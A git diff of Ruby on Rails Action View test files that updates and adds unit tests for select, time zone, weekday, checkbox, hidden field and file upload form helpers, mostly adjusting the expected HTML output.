+    expected = %(<input name="post[category][]" type="hidden" value="" autocomplete="off"/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>)
+
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), {}, { required: true, multiple: true }))
+    assert_dom_equal(expected, select("post", "category", %w(abe mus hest), required: true, multiple: true))
   end
 
   def test_select_with_integer
     @post = Post.new
     @post.category = ""
     assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\" label=\" \"></option>\n<option value=\"1\">1</option></select>",
       select("post", "category", [1], prompt: true, include_blank: true)
     )
   end
@@ -819,7 +964,7 @@ def test_list_of_lists
     @post = Post.new
     @post.category = ""
     assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\" label=\" \"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
       select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], prompt: true, include_blank: true)
     )
   end
@@ -841,7 +986,7 @@ def test_select_with_index_option
 
     assert_dom_equal(
       expected,
-      select("album[]", "genre", %w[rap rock country], {}, index: nil)
+      select("album[]", "genre", %w[rap rock country], {}, { index: nil })
     )
   end
 
@@ -904,6 +1049,14 @@ def test_select_with_range
     )
   end
 
+  def test_select_with_enumerable
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option value=\"two\">two</option></select>",
+      select("post", "category", CustomEnumerable.new)
+    )
+  end
+
   def test_collection_select
     @post = Post.new
     @post.author_name = "Babe"
@@ -962,8 +1115,8 @@ def test_collection_select_with_blank_and_style
     @post.author_name = "Babe"
 
     assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true }, "style" => "width: 200px")
+      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\" label=\" \"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true }, { "style" => "width: 200px" })
     )
   end
 
@@ -973,7 +1126,7 @@ def test_collection_select_with_blank_as_string_and_style
 
     assert_dom_equal(
       "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: "No Selection" }, "style" => "width: 200px")
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: "No Selection" }, { "style" => "width: 200px" })
     )
   end
 
@@ -981,13 +1134,13 @@ def test_collection_select_with_multiple_option_appends_array_brackets_and_hidde
     @post = Post.new
     @post.author_name = "Babe"
 
-    expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+    expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\" autocomplete=\"off\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\" label=\" \"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
 
     # Should suffix default name with [].
-    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true }, multiple: true)
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true }, { multiple: true })
 
     # Shouldn't suffix custom name with [].
-    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true, name: "post[author_name][]" }, multiple: true)
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true, name: "post[author_name][]" }, { multiple: true })
   end
 
   def test_collection_select_with_blank_and_selected
@@ -995,7 +1148,7 @@ def test_collection_select_with_blank_and_selected
     @post.author_name = "Babe"
 
     assert_dom_equal(
-      %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
+      %{<select id="post_author_name" name="post[author_name]"><option value="" label=" "></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
       collection_select("post", "author_name", dummy_posts, "author_name", "author_name", include_blank: true, selected: "<Abe>")
     )
   end
@@ -1103,7 +1256,7 @@ def test_time_zone_select_with_blank
     @firm = Firm.new("D")
     html = time_zone_select("firm", "time_zone", nil, include_blank: true)
     assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
-                 "<option value=\"\"></option>\n" \
+                 "<option value=\"\" label=\" \"></option>\n" \
                  "<option value=\"A\">A</option>\n" \
                  "<option value=\"B\">B</option>\n" \
                  "<option value=\"C\">C</option>\n" \
@@ -1130,7 +1283,7 @@ def test_time_zone_select_with_blank_as_string
   def test_time_zone_select_with_style
     @firm = Firm.new("D")
     html = time_zone_select("firm", "time_zone", nil, {},
-      "style" => "color: red")
+      { "style" => "color: red" })
     assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" \
                  "<option value=\"A\">A</option>\n" \
                  "<option value=\"B\">B</option>\n" \
@@ -1140,15 +1293,15 @@ def test_time_zone_select_with_style
                  "</select>",
                  html
     assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
-      style: "color: red")
+      { style: "color: red" })
   end
 
   def test_time_zone_select_with_blank_and_style
     @firm = Firm.new("D")
     html = time_zone_select("firm", "time_zone", nil,
-      { include_blank: true }, "style" => "color: red")
+      { include_blank: true }, { "style" => "color: red" })
     assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" \
-                 "<option value=\"\"></option>\n" \
+                 "<option value=\"\" label=\" \"></option>\n" \
                  "<option value=\"A\">A</option>\n" \
                  "<option value=\"B\">B</option>\n" \
                  "<option value=\"C\">C</option>\n" \
@@ -1157,13 +1310,13 @@ def test_time_zone_select_with_blank_and_style
                  "</select>",
                  html
     assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-      { include_blank: true }, style: "color: red")
+      { include_blank: true }, { style: "color: red" })
   end
 
   def test_time_zone_select_with_blank_as_string_and_style
     @firm = Firm.new("D")
     html = time_zone_select("firm", "time_zone", nil,
-      { include_blank: "No Zone" }, "style" => "color: red")
+      { include_blank: "No Zone" }, { "style" => "color: red" })
     assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" \
                  "<option value=\"\">No Zone</option>\n" \
                  "<option value=\"A\">A</option>\n" \
@@ -1174,7 +1327,7 @@ def test_time_zone_select_with_blank_as_string_and_style
                  "</select>",
                  html
     assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-      { include_blank: "No Zone" }, style: "color: red")
+      { include_blank: "No Zone" }, { style: "color: red" })
   end
 
   def test_time_zone_select_with_priority_zones
@@ -1197,6 +1350,7 @@ def test_time_zone_select_with_priority_zones_as_regexp
 
     @fake_timezones.each do |tz|
       def tz.=~(re); %(A D).include?(name) end
+      def tz.match?(re); %(A D).include?(name) end
     end
 
     html = time_zone_select("firm", "time_zone", /A|D/)
@@ -1232,6 +1386,25 @@ def tz.===(zone); raise Exception; end
                  html
   end
 
+  def test_time_zone_select_with_priority_zones_and_errors
+    @firm = Firm.new("D")
+    @firm.extend ActiveModel::Validations
+    @firm.errors.add(:time_zone, "invalid")
+    zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+    html = time_zone_select("firm", "time_zone", zones)
+    assert_dom_equal "<div class=\"field_with_errors\">" \
+                 "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>" \
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>" \
+                 "</div>",
+                 html
+  end
+
   def test_time_zone_select_with_default_time_zone_and_nil_value
     @firm = Firm.new()
     @firm.time_zone = nil
@@ -1383,8 +1556,99 @@ def test_grouped_collection_select_under_fields_for
     )
   end
 
-  private
+  def test_weekday_options_for_select_with_no_params
+    assert_dom_equal(
+      "<option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>\n<option value=\"Sunday\">Sunday</option>",
+      weekday_options_for_select
+    )
+  end
 
+  def test_weekday_options_for_select_with_index_as_value
+    assert_dom_equal(
+      "<option value=\"1\">Monday</option>\n<option value=\"2\">Tuesday</option>\n<option value=\"3\">Wednesday</option>\n<option value=\"4\">Thursday</option>\n<option value=\"5\">Friday</option>\n<option value=\"6\">Saturday</option>\n<option value=\"0\">Sunday</option>",
+      weekday_options_for_select(index_as_value: true)
+    )
+  end
+
+  def test_weekday_options_for_select_with_abberviated_day_names
+    assert_dom_equal(
+      "<option value=\"Mon\">Mon</option>\n<option value=\"Tue\">Tue</option>\n<option value=\"Wed\">Wed</option>\n<option value=\"Thu\">Thu</option>\n<option value=\"Fri\">Fri</option>\n<option value=\"Sat\">Sat</option>\n<option value=\"Sun\">Sun</option>",
+      weekday_options_for_select(day_format: :abbr_day_names)
+    )
+  end
+
+  def test_weekday_options_for_select_with_beginning_of_week_set_to_sunday
+    assert_dom_equal(
+      "<option value=\"Sunday\">Sunday</option>\n<option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>",
+      weekday_options_for_select(beginning_of_week: :sunday)
+    )
+  end
+
+  def test_weekday_options_for_select_with_beginning_of_week_set_to_saturday
+    assert_dom_equal(
+      "<option value=\"Saturday\">Saturday</option>\n<option value=\"Sunday\">Sunday</option>\n<option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option value=\"Friday\">Friday</option>",
+      weekday_options_for_select(beginning_of_week: :saturday)
+    )
+  end
+
+  def test_weekday_options_for_select_with_beginning_of_week_set_elsewhere
+    Date.beginning_of_week = :sunday
+    assert_dom_equal(
+      "<option value=\"Sunday\">Sunday</option>\n<option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>",
+      weekday_options_for_select
+    )
+    Date.beginning_of_week = :monday
+  end
+
+  def test_weekday_options_for_select_with_selected_value
+    assert_dom_equal(
+      "<option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option selected=\"selected\" value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>\n<option value=\"Sunday\">Sunday</option>",
+      weekday_options_for_select("Friday")
+    )
+  end
+
+  def test_weekday_select
+    assert_dom_equal(
+      "<select name=\"model[weekday]\" id=\"model_weekday\"><option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>\n<option value=\"Sunday\">Sunday</option></select>",
+      weekday_select(:model, :weekday)
+    )
+  end
+
+  def test_weekday_select_with_selected_value
+    assert_dom_equal(
+      "<select name=\"model[weekday]\" id=\"model_weekday\"><option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option selected=\"selected\" value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>\n<option value=\"Sunday\">Sunday</option></select>",
+      weekday_select(:model, :weekday, selected: "Friday")
+    )
+  end
+
+  def test_weekday_select_under_fields_for
+    @digest = Digest.new
+
+    output_buffer = fields_for :digest, @digest do |f|
+      concat f.weekday_select(:send_day)
+    end
+
+    assert_dom_equal(
+      "<select id=\"digest_send_day\" name=\"digest[send_day]\"><option value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>\n<option value=\"Sunday\">Sunday</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_weekday_select_under_fields_for_with_value
+    @digest = Digest.new
+    @digest.send_day = "Monday"
+
+    output_buffer = fields_for :digest, @digest do |f|
+      concat f.weekday_select(:send_day)
+    end
+
+    assert_dom_equal(
+      "<select name=\"digest[send_day]\" id=\"digest_send_day\"><option selected=\"selected\" value=\"Monday\">Monday</option>\n<option value=\"Tuesday\">Tuesday</option>\n<option value=\"Wednesday\">Wednesday</option>\n<option value=\"Thursday\">Thursday</option>\n<option value=\"Friday\">Friday</option>\n<option value=\"Saturday\">Saturday</option>\n<option value=\"Sunday\">Sunday</option></select>",
+      output_buffer
+    )
+  end
+
+  private
     def dummy_posts
       [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
         Post.new("Babe went home", "Babe", "To a little house", "shh!"),
diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb
index 084c54013909a..84e3231169b26 100644
--- a/actionview/test/template/form_tag_helper_test.rb
+++ b/actionview/test/template/form_tag_helper_test.rb
@@ -1,10 +1,23 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/core_ext/object/with"
 
 class FormTagHelperTest < ActionView::TestCase
   include RenderERBUtils
 
   tests ActionView::Helpers::FormTagHelper
 
+  class WithActiveStorageRoutesControllers < ActionController::Base
+    test_routes do
+      post "/rails/active_storage/direct_uploads" => "active_storage/direct_uploads#create", as: :rails_direct_uploads
+    end
+
+    def url_options
+      { host: "testtwo.host" }
+    end
+  end
+
   def setup
     super
     @controller = BasicController.new
@@ -13,14 +26,23 @@ def setup
   def hidden_fields(options = {})
     method = options[:method]
     enforce_utf8 = options.fetch(:enforce_utf8, true)
+    no_autocomplete = options[:no_autocomplete]
 
-    "".tap do |txt|
+    (+"").tap do |txt|
       if enforce_utf8
-        txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+        if no_autocomplete
+          txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+        else
+          txt << %{<input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" />}
+        end
       end
 
       if method && !%w(get post).include?(method.to_s)
-        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+        if no_autocomplete
+          txt << %{<input name="_method" type="hidden" value="#{method}" />}
+        else
+          txt << %{<input name="_method" type="hidden" value="#{method}" autocomplete="off" />}
+        end
       end
     end
   end
@@ -30,7 +52,7 @@ def form_text(action = "http://www.example.com", options = {})
 
     method = method.to_s == "get" ? "get" : "post"
 
-    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+    txt =  +%{<form accept-charset="UTF-8"} + (action ? %{ action="#{action}"} : "")
     txt << %{ enctype="multipart/form-data"} if enctype
     txt << %{ data-remote="true"} if remote
     txt << %{ class="#{html_class}"} if html_class
@@ -58,26 +80,56 @@ def url_for(options)
 
   VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
 
-  def test_check_box_tag
-    actual = check_box_tag "admin"
+  def test_checkbox_tag
+    actual = checkbox_tag "admin"
     expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
     assert_dom_equal expected, actual
   end
 
-  def test_check_box_tag_disabled
-    actual = check_box_tag "admin", "1", false, disabled: true
+  def test_checkbox_tag_disabled
+    actual = checkbox_tag "admin", "1", false, disabled: true
     expected = %(<input id="admin" disabled="disabled" name="admin" type="checkbox" value="1" />)
     assert_dom_equal expected, actual
   end
 
-  def test_check_box_tag_default_checked
-    actual = check_box_tag "admin", "1", true
+  def test_checkbox_tag_default_checked
+    actual = checkbox_tag "admin", "1", true
     expected = %(<input id="admin" checked="checked" name="admin" type="checkbox" value="1" />)
     assert_dom_equal expected, actual
   end
 
-  def test_check_box_tag_id_sanitized
-    label_elem = root_elem(check_box_tag("project[2][admin]"))
+  def test_checkbox_tag_checked_kwarg_true
+    actual = checkbox_tag "admin", "yes", checked: true
+    expected = %(<input id="admin" checked="checked" name="admin" type="checkbox" value="yes" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_checkbox_tag_checked_kwarg_false
+    actual = checkbox_tag "admin", "1", checked: false
+    expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_checkbox_tag_checked_kwarg_false_and_disabled
+    actual = checkbox_tag "admin", "1", checked: false, disabled: true
+    expected = %(<input id="admin" name="admin" type="checkbox" value="1" disabled="disabled" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_checkbox_tag_checked_kwarg_true_value_argument_skipped
+    actual = checkbox_tag "admin", checked: true
+    expected = %(<input id="admin" checked="checked" name="admin" type="checkbox" value="1" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_checkbox_tag_value_kwarg
+    actual = checkbox_tag "admin", value: "0", checked: true
+    expected = %(<input id="admin" name="admin" type="checkbox" value="0" checked="checked" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_checkbox_tag_id_sanitized
+    label_elem = root_elem(checkbox_tag("project[2][admin]"))
     assert_match VALID_HTML_ID, label_elem["id"]
   end
 
@@ -88,56 +140,88 @@ def test_form_tag
   end
 
   def test_form_tag_multipart
-    actual = form_tag({}, "multipart" => true)
+    actual = form_tag({}, { "multipart" => true })
     expected = whole_form("http://www.example.com", enctype: true)
     assert_dom_equal expected, actual
   end
 
   def test_form_tag_with_method_patch
-    actual = form_tag({}, method: :patch)
+    actual = form_tag({}, { method: :patch })
     expected = whole_form("http://www.example.com", method: :patch)
     assert_dom_equal expected, actual
   end
 
   def test_form_tag_with_method_put
-    actual = form_tag({}, method: :put)
+    actual = form_tag({}, { method: :put })
     expected = whole_form("http://www.example.com", method: :put)
     assert_dom_equal expected, actual
   end
 
   def test_form_tag_with_method_delete
-    actual = form_tag({}, method: :delete)
+    actual = form_tag({}, { method: :delete })
 
     expected = whole_form("http://www.example.com", method: :delete)
     assert_dom_equal expected, actual
   end
 
   def test_form_tag_with_remote
-    actual = form_tag({}, remote: true)
+    actual = form_tag({}, { remote: true })
 
     expected = whole_form("http://www.example.com", remote: true)
     assert_dom_equal expected, actual
   end
 
   def test_form_tag_with_remote_false
-    actual = form_tag({}, remote: false)
+    actual = form_tag({}, { remote: false })
 
     expected = whole_form
     assert_dom_equal expected, actual
   end
 
+  def test_form_tag_with_false_url_for_options
+    actual = form_tag(false)
+
+    expected = whole_form(false)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_false_action
+    actual = form_tag({}, action: false)
+
+    expected = whole_form(false)
+    assert_dom_equal expected, actual
+  end
+
   def test_form_tag_enforce_utf8_true
-    actual = form_tag({}, enforce_utf8: true)
+    actual = form_tag({}, { enforce_utf8: true })
     expected = whole_form("http://www.example.com", enforce_utf8: true)
     assert_dom_equal expected, actual
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
   end
 
   def test_form_tag_enforce_utf8_false
-    actual = form_tag({}, enforce_utf8: false)
+    actual = form_tag({}, { enforce_utf8: false })
     expected = whole_form("http://www.example.com", enforce_utf8: false)
     assert_dom_equal expected, actual
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
+  end
+
+  def test_form_tag_default_enforce_utf8_false
+    with_default_enforce_utf8 false do
+      actual = form_tag({})
+      expected = whole_form("http://www.example.com", enforce_utf8: false)
+      assert_dom_equal expected, actual
+      assert_predicate actual, :html_safe?
+    end
+  end
+
+  def test_form_tag_default_enforce_utf8_true
+    with_default_enforce_utf8 true do
+      actual = form_tag({})
+      expected = whole_form("http://www.example.com", enforce_utf8: true)
+      assert_dom_equal expected, actual
+      assert_predicate actual, :html_safe?
+    end
   end
 
   def test_form_tag_with_block_in_erb
@@ -157,8 +241,160 @@ def test_form_tag_with_block_and_method_in_erb
     assert_dom_equal expected, output_buffer
   end
 
-  def test_hidden_field_tag
-    actual = hidden_field_tag "id", 3
+  def test_field_id_without_suffixes_or_index
+    value = field_id(:post, :title)
+
+    assert_equal "post_title", value
+  end
+
+  def test_field_id_with_suffixes
+    value = field_id(:post, :title, :error)
+
+    assert_equal "post_title_error", value
+  end
+
+  def test_field_id_with_suffixes_and_index
+    value = field_id(:post, :title, :error, index: 1)
+
+    assert_equal "post_1_title_error", value
+  end
+
+  def test_field_id_with_nested_object_name
+    value = field_id("post[author]", :name)
+
+    assert_equal "post_author_name", value
+  end
+
+  def test_field_name_with_nil_object_name
+    value = field_name(nil, :title)
+
+    assert_equal "title", value
+  end
+
+  def test_field_name_with_blank_object_name
+    value = field_name("", :title)
+
+    assert_equal "title", value
+  end
+
+  def test_field_name_without_object_name_and_multiple
+    value = field_name("", :title, multiple: true)
+
+    assert_equal "title[]", value
+  end
+
+  def test_field_name_without_method_names_or_multiple_or_index
+    value = field_name(:post, :title)
+
+    assert_equal "post[title]", value
+  end
+
+  def test_field_name_without_method_names_and_multiple
+    value = field_name(:post, :title, multiple: true)
+
+    assert_equal "post[title][]", value
+  end
+
+  def test_field_name_without_method_names_and_index
+    value = field_name(:post, :title, index: 1)
+
+    assert_equal "post[1][title]", value
+  end
+
+  def test_field_name_without_method_names_and_index_and_multiple
+    value = field_name(:post, :title, index: 1, multiple: true)
+
+    assert_equal "post[1][title][]", value
+  end
+
+  def test_field_name_with_method_names
+    value = field_name(:post, :title, :subtitle)
+
+    assert_equal "post[title][subtitle]", value
+  end
+
+  def test_field_name_with_method_names_and_index
+    value = field_name(:post, :title, :subtitle, index: 1)
+
+    assert_equal "post[1][title][subtitle]", value
+  end
+
+  def test_field_name_with_method_names_and_multiple
+    value = field_name(:post, :title, :subtitle, multiple: true)
+
+    assert_equal "post[title][subtitle][]", value
+  end
+
+  def test_field_name_with_method_names_and_multiple_and_index
+    value = field_name(:post, :title, :subtitle, index: 1, multiple: true)
+
+    assert_equal "post[1][title][subtitle][]", value
+  end
+
+  def test_hidden_field_tag_default_omits_autocomplete
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      actual = hidden_field_tag "id", 3
+      expected = %(<input id="id" name="id" type="hidden" value="3" />)
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_hidden_field_tag_legacy_includes_autocomplete_off
+    ActionView::Base.with(remove_hidden_field_autocomplete: false) do
+      actual = hidden_field_tag "id", 3
+      expected = %(<input id="id" name="id" type="hidden" value="3" autocomplete="off" />)
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_hidden_field_tag_respects_explicit_autocomplete_when_default_omits
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      actual = hidden_field_tag "username", "me@example.com", autocomplete: "username"
+      expected = %(<input id="username" name="username" type="hidden" value="me@example.com" autocomplete="username" />)
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_hidden_field_tag_respects_explicit_autocomplete_when_legacy_includes_off
+    ActionView::Base.with(remove_hidden_field_autocomplete: false) do
+      actual = hidden_field_tag "username", "me@example.com", autocomplete: "username"
+      expected = %(<input id="username" name="username" type="hidden" value="me@example.com" autocomplete="username" />)
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_hidden_field_tag_with_autocomplete_false_in_legacy_mode
+    ActionView::Base.with(remove_hidden_field_autocomplete: false) do
+      actual = hidden_field_tag "id", 3, autocomplete: nil
+      expected = %(<input id="id" name="id" type="hidden" value="3" />)
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_form_tag_hidden_helpers_omit_autocomplete_by_default
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      actual = form_tag({}, { method: :patch })
+      expected = whole_form("http://www.example.com", method: :patch, no_autocomplete: true)
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_form_tag_hidden_helpers_include_autocomplete_off_in_legacy_mode
+    ActionView::Base.with(remove_hidden_field_autocomplete: false) do
+      actual = form_tag({}, { method: :patch })
+      expected = whole_form("http://www.example.com", method: :patch)
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_hidden_field_tag_with_autocomplete
+    actual = hidden_field_tag "username", "me@example.com", autocomplete: "username"
+    expected = %(<input id="username" name="username" type="hidden" value="me@example.com" autocomplete="username" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_hidden_field_tag_with_autocomplete_false
+    actual = hidden_field_tag "id", 3, autocomplete: nil
     expected = %(<input id="id" name="id" type="hidden" value="3" />)
     assert_dom_equal expected, actual
   end
@@ -176,6 +412,33 @@ def test_file_field_tag_with_options
     assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", class: "pix")
   end
 
+  def test_file_field_tag_with_direct_upload_when_rails_direct_uploads_url_is_not_defined
+    assert_dom_equal(
+      "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>",
+      file_field_tag("picsplz", class: "pix", direct_upload: true)
+    )
+  end
+
+  def test_file_field_tag_with_direct_upload_when_rails_direct_uploads_url_is_defined
+    @controller = WithActiveStorageRoutesControllers.new
+
+    assert_dom_equal(
+      "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\" data-direct-upload-url=\"http://testtwo.host/rails/active_storage/direct_uploads\"/>",
+      file_field_tag("picsplz", class: "pix", direct_upload: true)
+    )
+  end
+
+  def test_file_field_tag_with_direct_upload_dont_mutate_arguments
+    original_options = { class: "pix", direct_upload: true }
+
+    assert_dom_equal(
+      "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>",
+      file_field_tag("picsplz", original_options)
+    )
+
+    assert_equal({ class: "pix", direct_upload: true }, original_options)
+  end
+
   def test_password_field_tag
     actual = password_field_tag
     expected = %(<input id="password" name="password" type="password" />)
@@ -213,6 +476,30 @@ def test_radio_button_tag
     actual = radio_button_tag("ctrlname", "apache2.2")
     expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
     assert_dom_equal expected, actual
+
+    actual = radio_button_tag "people", "david", true
+    expected = %(<input id="people_david" name="people" type="radio" value="david" checked="checked" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag "people", "david", false
+    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag "people", "david", false, disabled: true
+    expected = %(<input id="people_david" name="people" type="radio" value="david" disabled="disabled" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag "people", "david", checked: true
+    expected = %(<input id="people_david" name="people" type="radio" value="david" checked="checked" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag "people", "david", checked: false
+    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag "people", "david", checked: false, disabled: true
+    expected = %(<input id="people_david" name="people" type="radio" value="david" disabled="disabled" />)
+    assert_dom_equal expected, actual
   end
 
   def test_select_tag
@@ -244,6 +531,13 @@ def test_select_tag_with_include_blank
     assert_dom_equal expected, actual
   end
 
+  def test_select_tag_with_include_blank_doesnt_change_options
+    options = { include_blank: true, prompt: "string" }
+    expected_options = options.dup
+    select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), options
+    expected_options.each { |k, v| assert_equal v, options[k] }
+  end
+
   def test_select_tag_with_include_blank_false
     actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), include_blank: false
     expected = %(<select id="places" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
@@ -286,43 +580,43 @@ def test_select_tag_with_nil_option_tags_and_prompt
     assert_dom_equal expected, actual
   end
 
